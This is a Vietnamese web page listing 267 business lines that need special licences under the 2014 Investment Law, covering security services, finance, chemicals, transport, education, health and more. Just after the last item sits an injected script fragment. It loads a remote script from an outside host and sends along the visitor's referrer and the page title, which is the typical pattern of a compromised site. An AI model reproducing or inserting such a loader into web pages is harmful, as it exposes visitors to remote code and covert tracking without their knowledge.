Danh sách ngành nghề kinh doanh có điều kiện ( Giấy phép con) – 267

Danh mục đầu tư kinh doanh có điều kiện theo luật đầu tư 2014.

( Theo www.dangkykinhdoanh.net )

STT Ngành, nghề
1        Sản xuất con dấu
2        Kinh doanh công cụ hỗ trợ (bao gồm cả sửa chữa)
3        Kinh doanh các loại pháo
4        Kinh doanh dịch vụ cầm đồ
5        Kinh doanh dịch vụ xoa bóp
6        Kinh doanh thiết bị phát tín hiệu của xe được quyền ưu tiên
7        Kinh doanh dịch vụ bảo vệ
8        Kinh doanh súng bắn sơn
9        Hành nghề luật sư
10     Hành nghề công chứng
11     Hành nghề giám định tư pháp trong các lĩnh vực tài chính, ngân hàng, xây dựng, cổ vật, di vật, bản quyền tác giả
12     Hành nghề bán đấu giá tài sản
13     Hoạt động dịch vụ của tổ chức trọng tài thương mại
14     Hành nghề thừa phát lại
15     Hành nghề quản tài viên
16     Kinh doanh dịch vụ kế toán
17     Kinh doanh dịch vụ kiểm toán
18     Kinh doanh dịch vụ làm thủ tục về thuế
19     Kinh doanh dịch vụ làm thủ tục Hải quan
20     Kinh doanh hàng miễn thuế
21     Kinh doanh dịch vụ lưu kho ngoại quan
22     Kinh doanh dịch vụ thu gom hàng lẻ ở nội địa
23     Kinh doanh dịch vụ tập kết, kiểm tra hải quan trong, ngoài khu vực cửa khẩu
24     Kinh doanh chứng khoán
25     Kinh doanh dịch vụ đăng ký, lưu ký, bù trừ và thanh toán chứng khoán của Trung tâm lưu ký chứng khoán/ Tổ chức thị trường giao dịch chứng khoán niêm yết và các loại chứng khoán khác.
26     Kinh doanh bảo hiểm
27     Kinh doanh tái bảo hiểm
28     Môi giới bảo hiểm
29     Đại lý bảo hiểm
30     Kinh doanh dịch vụ đào tạo đại lý bảo hiểm
31     Kinh doanh dịch vụ thẩm định giá
32     Kinh doanh dịch vụ tư vấn xác định giá trị doanh nghiệp để cổ phần hóa
33     Kinh doanh xổ số
34     Kinh doanh trò chơi điện tử có thưởng dành cho người nước ngoài
35     Kinh doanh dịch vụ đòi nợ
36     Kinh doanh dịch vụ mua bán nợ
37     Kinh doanh dịch vụ xếp hạng tín nhiệm
38     Kinh doanh casino
39     Kinh doanh dịch vụ đặt cược
40     Kinh doanh dịch vụ quản lý quỹ hưu trí tự nguyện
41     Kinh doanh xăng dầu
42     Kinh doanh khí
43     Kinh doanh dịch vụ giám định thương mại
44     Kinh doanh vật liệu nổ công nghiệp (bao gồm cả hoạt động tiêu hủy)
45     Kinh doanh tiền chất thuốc nổ
46     Kinh doanh ngành, nghề có sử dụng vật liệu nổ công nghiệp và tiền chất thuốc nổ
47     Kinh doanh dịch vụ nổ mìn
48     Kinh doanh hóa chất trừ hóa chất bị cấm theo Công ước Quốc tế về cấm phát triển, sản xuất, tàng trữ, sử dụng và phá hủy vũ khí hóa học
49     Kinh doanh phân bón vô cơ
50     Kinh doanh rượu
51     Kinh doanh sản phẩm thuốc lá, nguyên liệu thuốc lá, máy móc thiết bị thuộc chuyên ngành thuốc lá
52     Hoạt động Sở giao dịch hàng hóa
53     Hoạt động phát điện, truyền tải, phân phối, bán buôn, bán lẻ, xuất, nhập khẩu điện, tư vấn chuyên ngành điện lực
54     Kinh doanh thực phẩm thuộc lĩnh vực quản lý chuyên ngành của Bộ Công Thương
55     Xuất khẩu gạo
56     Kinh doanh tạm nhập, tái xuất hàng hóa có thuế tiêu thụ đặc biệt
57     Kinh doanh tạm nhập, tái xuất hàng thực phẩm đông lạnh
58     Kinh doanh tạm nhập, tái xuất hàng hóa thuộc Danh mục hàng hóa đã qua sử dụng
59     Nhượng quyền thương mại
60     Kinh doanh than
61     Kinh doanh dịch vụ Lô-gi-stíc
62     Kinh doanh khoáng sản
63     Kinh doanh tiền chất công nghiệp
64     Hoạt động mua bán hàng hóa và các hoạt động liên quan trực tiếp đến hoạt động mua bán hàng hóa của nhà đầu tư nước ngoài
65     Hoạt động thương mại điện tử
66     Hoạt động dầu khí
67     Kinh doanh dịch vụ đánh giá sự phù hợp với thiết bị áp lực, thiết bị nâng đặc thù chuyên ngành công nghiệp, hóa chất, vật liệu nổ công nghiệp, trang thiết bị khai thác mỏ, dầu khí, trừ các thiết bị, phương tiện thăm dò, khai thác trên biển
68     Hoạt động dạy nghề
69     Hoạt động liên kết đào tạo nghề trình độ trung cấp, cao đẳng với cơ sở dạy nghề của nước ngoài, cơ sở dạy nghề có vốn đầu tư nước ngoài
70     Kinh doanh dịch vụ phòng cháy, chữa cháy
71     Kinh doanh dịch vụ đánh giá kỹ năng nghề
72     Kinh doanh dịch vụ kiểm định chất lượng chương trình liên kết đào tạo nghề với cơ sở dạy nghề nước ngoài và cơ sở dạy nghề có vốn đầu tư nước ngoài tại Việt Nam
73     Kinh doanh dịch vụ kiểm định kỹ thuật an toàn lao động đối với các máy, thiết bị vật tư có yêu cầu nghiêm ngặt về an toàn lao động
74     Kinh doanh dịch vụ huấn luyện an toàn lao động, vệ sinh lao động
75     Kinh doanh dịch vụ việc làm
76     Kinh doanh dịch vụ đưa người lao động đi làm việc ở nước ngoài
77     Kinh doanh dịch vụ cai nghiện ma tuý tự nguyện
78     Kinh doanh dịch vụ chứng nhận và công bố hợp quy
79     Kinh doanh dịch vụ cho thuê lại lao động
80     Kinh doanh vận tải đường bộ
81     Kinh doanh dịch vụ bảo hành, bảo dưỡng xe ô tô
82     Kinh doanh dịch vụ kiểm định xe cơ giới
83     Kinh doanh dịch vụ đào tạo lái xe ô tô
84     Kinh doanh dịch vụ đào tạo thẩm tra viên an toàn giao thông
85     Kinh doanh dịch vụ sát hạch lái xe
86     Kinh doanh dịch vụ thẩm tra an toàn giao thông
87     Kinh doanh vận tải đường thủy
88     Kinh doanh dịch vụ đóng mới, hoán cải, sửa chữa, phục hồi phương tiện thủy nội địa
89     Kinh doanh dịch vụ đào tạo thuyền viên và người lái phương tiện thủy nội địa
90     Kinh doanh vận tải biển, dịch vụ đại lý tàu biển
91     Kinh doanh theo phương thức bán hàng đa cấp
92     Kinh doanh dịch vụ lai dắt tàu biển
93     Nhập khẩu, phá dỡ tàu biển đã qua sử dụng
94     Kinh doanh dịch vụ đóng mới, hoán cải, sửa chữa tàu biển
95     Kinh doanh khai thác cảng biển
96     Kinh doanh vận tải hàng không
97     Kinh doanh dịch vụ thiết kế, sản xuất, bảo dưỡng hoặc thử nghiệm tàu bay, động cơ tàu bay, cánh quạt tàu bay và trang bị, thiết bị tàu bay tại Việt Nam
98     Kinh doanh cảng hàng không, sân bay
99     Kinh doanh dịch vụ hàng không tại cảng hàng không, sân bay
100  Kinh doanh dịch vụ cung cấp bảo đảm hoạt động bay
101  Kinh doanh dịch vụ đào tạo, huấn luyện nghiệp vụ nhân viên hàng không
102  Kinh doanh vận tải đường sắt
103  Kinh doanh kết cấu hạ tầng đường sắt
104  Kinh doanh đường sắt đô thị
105  Kinh doanh dịch vụ vận tải đa phương thức
106  Kinh doanh dịch vụ vận chuyển hàng nguy hiểm bằng phương tiện giao thông đường bộ, đường thủy
107  Kinh doanh vận tải đường ống
108  Kinh doanh dịch vụ bảo đảm hàng hải
109  Kinh doanh bất động sản
110  Kinh doanh dịch vụ đào tạo, bồi dưỡng kiến thức về môi giới bất động sản, định giá bất động sản, quản lý điều hành sàn giao dịch bất động sản
111  Kinh doanh dịch vụ đào tạo, bồi dưỡng kiến thức chuyên môn, nghiệp vụ quản lý vận hành nhà chung cư
112  Kinh doanh dịch vụ bồi dưỡng nghiệp vụ quản lý dự án đầu tư xây dựng công trình
113  Kinh doanh dịch vụ tư vấn quản lý dự án
114  Kinh doanh dịch vụ khảo sát xây dựng
115  Kinh doanh dịch vụ tổ chức thiết kế, thẩm tra thiết kế xây dựng
116  Kinh doanh dịch vụ tư vấn giám sát thi công xây dựng công trình
117  Kinh doanh dịch vụ thi công xây dựng công trình
118  Kinh doanh dịch vụ lập, thẩm tra xây dựng dự án đầu tư xây dựng
119  Hoạt động xây dựng của nhà đầu tư nước ngoài
120  Kinh doanh dịch vụ quản lý chi phí đầu tư xây dựng
121  Kinh doanh dịch vụ kiểm định, chứng nhận sự phù hợp về chất lượng công trình xây dựng
122  Kinh doanh dịch vụ quản lý vận hành hệ thống chiếu sáng, cây xanh
123  Kinh doanh dịch vụ quản lý, vận hành hệ thống cơ sở hạ tầng dùng chung
124  Kinh doanh dịch vụ lập thiết kế quy hoạch xây dựng
125  Kinh doanh dịch vụ lập quy hoạch đô thị do tổ chức, cá nhân nước ngoài thực hiện
126  Kinh doanh sản phẩm amiang trắng thuộc nhóm Serpentine
127  Kinh doanh dịch vụ bưu chính
128  Kinh doanh dịch vụ viễn thông
129  Nhập khẩu thiết bị phát, thu phát sóng vô tuyến điện
130  Kinh doanh dịch vụ chứng thực chữ ký số
131  Thành lập, hoạt động nhà xuất bản
132  Kinh doanh dịch vụ in
133  Kinh doanh dịch vụ phát hành xuất bản phẩm
134  Kinh doanh dịch vụ mạng xã hội
135  Kinh doanh trò chơi trên mạng
136  Kinh doanh dịch vụ phát thanh, truyền hình trả tiền
137  Kinh doanh dịch vụ thiết lập trang thông tin điện tử tổng hợp
138  Dịch vụ gia công, tái chế, sửa chữa, làm mới sản phẩm công nghệ thông tin đã qua sử dụng thuộc danh mục sản phẩm công nghệ thông tin đã qua sử dụng cấm nhập khẩu cho đối tác nước ngoài
139  Kinh doanh dịch vụ truyền hình theo yêu cầu
140  Cung cấp dịch vụ nội dung thông tin, dịch vụ công nghệ thông tin trên mạng viễn thông di động, mạng Internet
141  Kinh doanh các thiết bị gây nhiễu, phá sóng thông tin di động
142  Kinh doanh sản phẩm và dịch vụ an toàn thông tin
143  Hoạt động của cơ sở giáo dục đại học
144  Hoạt động của cơ sở giáo dục có vốn đầu tư nước ngoài, văn phòng đại diện giáo dục nước ngoài tại Việt Nam, phân hiệu cơ sở giáo dục có vốn đầu tư nước ngoài
145  Hoạt động của cơ sở giáo dục thường xuyên
146  Hoạt động của trung tâm giáo dục Quốc phòng – An ninh sinh viên
147  Hoạt động của cơ sở giáo dục phổ thông
148  Hoạt động giáo dục trung cấp chuyên nghiệp
149  Hoạt động của các trường chuyên biệt
150  Hoạt động của cơ sở giáo dục mầm non
151  Hoạt động liên kết đào tạo với nước ngoài
152  Dịch vụ tổ chức dạy thêm học thêm
153  Khai thác thủy sản
154  Kinh doanh ngư cụ và trang thiết bị khai thác thuỷ sản
155  Kinh doanh thủy sản
156  Kinh doanh thức ăn thuỷ sản
157  Kinh doanh chế phẩm sinh học, vi sinh vật, hóa chất, chất xử lý cải tạo môi trường trong nuôi trồng thủy sản
158  Kinh doanh dịch vụ khảo nghiệm giống thủy sản
159  Kinh doanh dịch vụ khảo nghiệm thức ăn thủy sản
160  Nuôi sinh sản, nuôi sinh trưởng, trồng cấy nhân tạo các loài động vật, thực vật hoang dã theo Phụ lục của Công ước CITES
161  Nuôi sinh sản, nuôi sinh trưởng, trồng cấy nhân tạo các loài động vật, thực vật hoang dã, nguy cấp, quý, hiếm không quy định tại các Phụ lục của Công ước CITES
162  Nuôi sinh sản, nuôi sinh trưởng động vật hoang dã thông thường
163  Xuất khẩu, nhập khẩu, tái xuất khẩu, quá cảnh và nhập nội từ biển mẫu vật từ tự nhiên quy định tại các Phụ lục của Công ước CITES
164  Xuất khẩu, nhập khẩu, tái xuất khẩu mẫu vật nuôi sinh sản, nuôi sinh trưởng, trồng cấy nhân tạo quy định tại các Phụ lục của Công ước CITES
165  Kinh doanh thuốc bảo vệ thực vật
166  Kinh doanh dịch vụ xử lý vật thể thuộc diện kiểm dịch thực vật
167  Kinh doanh dịch vụ khảo nghiệm thuốc bảo vệ thực vật
168  Kinh doanh dịch vụ bảo vệ thực vật
169  Kinh doanh thuốc thú y, chế phẩm sinh học, vắc xin, vi sinh vật, hóa chất dùng trong thú y
170  Kinh doanh dịch vụ kỹ thuật về thú y
171  Kinh doanh dịch vụ xét nghiệm, phẫu thuật động vật
172  Kinh doanh dịch vụ tiêm phòng, chẩn đoán bệnh, kê đơn, chữa bệnh, chăm sóc sức khỏe động vật
173  Kinh doanh dịch vụ thử nghiệm, khảo nghiệm thuốc thú y (bao gồm thuốc thú y, thuốc thú y thủy sản, vắc xin, chế phẩm sinh học, vi sinh vật, hóa chất dùng trong thú y, thú y thủy sản)
174  Kinh doanh dịch vụ chăn nuôi tập trung, sản xuất con giống; giết mổ động vật; cách ly kiểm dịch động vật, sản phẩm động vật; sản xuất nguyên liệu có nguồn gốc động vật để sản xuất thức ăn chăn nuôi, sơ chế, chế biến, bảo quản động vật, sản phẩm động vật; kinh doanh sản phẩm động vật, sơ chế, chế biến, bao gói, bảo quản sản phẩm động vật
175  Kinh doanh thực phẩm thuộc lĩnh vực quản lý chuyên ngành của Bộ Nông nghiệp và Phát triển nông thôn
176  Kinh doanh, khảo nghiệm phân bón hữu cơ
177  Kinh doanh giống cây trồng, vật nuôi
178  Sản xuất thức ăn chăn nuôi
179  Nhập khẩu thức ăn chăn nuôi
180  Xuất khẩu, nhập khẩu động vật, thực vật hoang dã quý hiếm, trên cạn nguy cấp cần kiểm soát theo Phụ lục của Công ước CITES
181  Kinh doanh thực vật rừng, động vật rừng hạn chế khai thác, sử dụng vì mục đích thương mại
182  Kinh doanh cây cảnh, cây bóng mát, cây cổ thụ từ rừng tự nhiên trong nước
183  Kinh doanh củi than từ gỗ hoặc củi có nguồn gốc từ gỗ rừng tự nhiên trong nước
184  Kinh doanh tinh, phôi, trứng giống và ấu trùng
185  Kinh doanh dịch vụ chế phẩm sinh học, vi sinh vật, hóa chất, chất xử lý cải tạo môi trường trong nuôi trồng thủy sản
186  Kinh doanh dịch vụ thử nghiệm, khảo nghiệm chế phẩm sinh học, vi sinh vật, hóa chất, chất xử lý cải tạo môi trường trong nuôi trồng thủy sản
187  Kinh doanh sản phẩm biến đổi gen
188  Kinh doanh dịch vụ đào tạo, bồi dưỡng về đấu thầu
189  Kinh doanh dịch vụ của đại lý đấu thầu
190  Kinh doanh dịch vụ tư vấn đánh giá dự án đầu tư
191  Kinh doanh dịch vụ đào tạo đánh giá dự án đầu tư
192  Kinh doanh dịch vụ khám bệnh, chữa bệnh
193  Kinh doanh dịch vụ xét nghiệm HIV
194  Kinh doanh dịch vụ ngân hàng mô
195  Kinh doanh dịch vụ hỗ trợ sinh sản, lưu giữ tinh trùng, lưu giữ phôi
196  Kinh doanh thuốc
197  Kinh doanh dịch vụ kiểm nghiệm thuốc
198  Sản xuất mỹ phẩm
199  Kinh doanh dịch vụ xét nghiệm vi sinh vật gây bệnh truyền nhiễm
200  Kinh doanh dịch vụ tiêm chủng
201  Kinh doanh hóa chất, chế phẩm diệt côn trùng, diệt khuẩn dùng trong lĩnh vực gia dụng y tế
202  Kinh doanh dịch vụ điều trị nghiện chất dạng thuốc phiện bằng thuốc thay thế
203  Kinh doanh thực phẩm thuộc lĩnh vực quản lý chuyên ngành của Bộ Y tế
204  Kinh doanh dịch vụ phẫu thuật thẩm mỹ
205  Kinh doanh dịch vụ thực hiện kỹ thuật mang thai hộ
206  Kinh doanh dịch vụ đánh giá sinh khả dụng và tương đương sinh học (BA/BE) của thuốc
207  Kinh doanh dịch vụ thử thuốc trên lâm sàng
208  Kinh doanh trang thiết bị y tế
209  Hoạt động của cơ sở phân loại trang thiết bị y tế
210  Kinh doanh dịch vụ kiểm định trang thiết bị y tế
211  Kinh doanh dịch vụ giám định sở hữu công nghiệp
212  Kinh doanh dịch vụ tiến hành công việc bức xạ
213  Kinh doanh dịch vụ hỗ trợ ứng dụng năng lượng nguyên tử
214  Xuất, nhập khẩu và vận chuyển vật liệu phóng xạ
215  Kinh doanh dịch vụ đánh giá sự phù hợp theo lĩnh vực khoa học công nghệ
216  Kinh doanh dịch vụ kiểm định, hiệu chuẩn, thử nghiệm phương tiện đo, chuẩn đo lường
217  Kinh doanh mũ bảo hiểm cho người đi mô tô, xe máy
218  Kinh doanh dịch vụ đánh giá, định giá và giám định công nghệ
219  Kinh doanh dịch vụ đại diện quyền sở hữu trí tuệ
220  Sản xuất phim
221  Kinh doanh dịch vụ giám định cổ vật
222  Kinh doanh dịch vụ lập quy hoạch dự án hoặc tổ chức thi công, giám sát thi công dự án bảo quản, tu bổ và phục hồi di tích
223  Kinh doanh dịch vụ karaoke, vũ trường
224  Kinh doanh dịch vụ lữ hành
225  Kinh doanh hoạt động thể thao
226  Kinh doanh dịch vụ biểu diễn nghệ thuật, trình diễn thời trang, tổ chức thi người đẹp, người mẫu
227  Kinh doanh bản ghi âm, ghi hình ca múa nhạc, sân khấu
228  Kinh doanh dịch vụ tổ chức lễ hội
229  Kinh doanh tác phẩm mỹ thuật, nhiếp ảnh
230  Kinh doanh dịch vụ lưu trú
231  Kinh doanh dịch vụ quảng cáo
232  Mua bán di vật, cổ vật, bảo vật quốc gia
233  Kinh doanh dịch vụ bảo tàng
234  Kinh doanh trò chơi điện tử (trừ kinh doanh trò chơi điện tử có thưởng dành cho người nước ngoài và kinh doanh trò chơi điện tử có thưởng trên mạng)
235  Xuất khẩu di vật, cổ vật không thuộc sở hữu nhà nước, sở hữu của tổ chức chính trị, tổ chức chính trị-xã hội; nhập khẩu hàng hóa văn hóa thuộc diện quản lý chuyên ngành của Bộ Văn hóa, Thể thao và Du lịch
236  Kinh doanh dịch vụ giám định quyền tác giả, quyền liên quan
237  Kinh doanh dịch vụ tư vấn điều tra, đánh giá đất đai
238  Kinh doanh dịch vụ về lập quy hoạch, kế hoạch sử dụng đất
239  Kinh doanh dịch vụ xây dựng hạ tầng kỹ thuật công nghệ thông tin, xây dựng phần mềm của hệ thống thông tin đất đai
240  Kinh doanh dịch vụ xây dựng cơ sở dữ liệu đất đai
241  Kinh doanh dịch vụ xác định giá đất
242  Kinh doanh dịch vụ đấu giá quyền sử dụng đất
243  Kinh doanh dịch vụ đo đạc và bản đồ
244  Kinh doanh dịch vụ khoan nước dưới đất
245  Kinh doanh dịch vụ thăm dò nước dưới đất
246  Kinh doanh dịch vụ khai thác, xử lý và cung cấp nước
247  Kinh doanh dịch vụ thoát nước
248  Kinh doanh dịch vụ thăm dò khoáng sản
249  Khai thác khoáng sản
250  Kinh doanh dịch vụ quản lý chất thải nguy hại
251  Nhập khẩu phế liệu
252  Kinh doanh dịch vụ quan trắc môi trường
253  Kinh doanh dịch vụ tư vấn lập báo cáo đánh giá môi trường chiến lược, đánh giá tác động môi trường, đề án bảo vệ môi trường chi tiết
254  Kinh doanh chế phẩm sinh học
255  Kinh doanh dịch vụ thu hồi, vận chuyển, xử lý sản phẩm thải bỏ
256  Hoạt động kinh doanh của các ngân hàng thương mại
257  Hoạt động kinh doanh của các tổ chức tín dụng phi ngân hàng
258  Hoạt động kinh doanh của ngân hàng hợp tác xã, quỹ tín dụng nhân dân, tổ chức tài chính vi mô
259  Cung ứng dịch vụ trung gian thanh toán
260  Cung ứng dịch vụ thông tin tín dụng
261  Hoạt động ngoại hối
262  Kinh doanh mua, bán vàng miếng
263  Sản xuất vàng miếng, xuất khẩu vàng nguyên liệu và nhập khẩu vàng nguyên liệu để sản xuất vàng miếng
264  Sản xuất vàng trang sức, mỹ nghệ
265  Nhập khẩu hàng hóa thuộc diện quản lý chuyên ngành của Ngân hàng Nhà nước (cửa kho tiền)
266  Hoạt động in, đúc tiền
267  Kinh doanh quân trang, quân dụng cho lực lượng vũ trang, vũ khí quân dụng, trang thiết bị, kỹ thuật, khí tài, phương tiện chuyên dùng quân sự, công an; linh kiện, bộ phận, phụ tùng, vật tư và trang thiết bị đặc chủng, công nghệ chuyên dùng chế tạo chúng

 s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

Trả lời

Thư điện tử của bạn sẽ không được hiển thị công khai. Các trường bắt buộc được đánh dấu *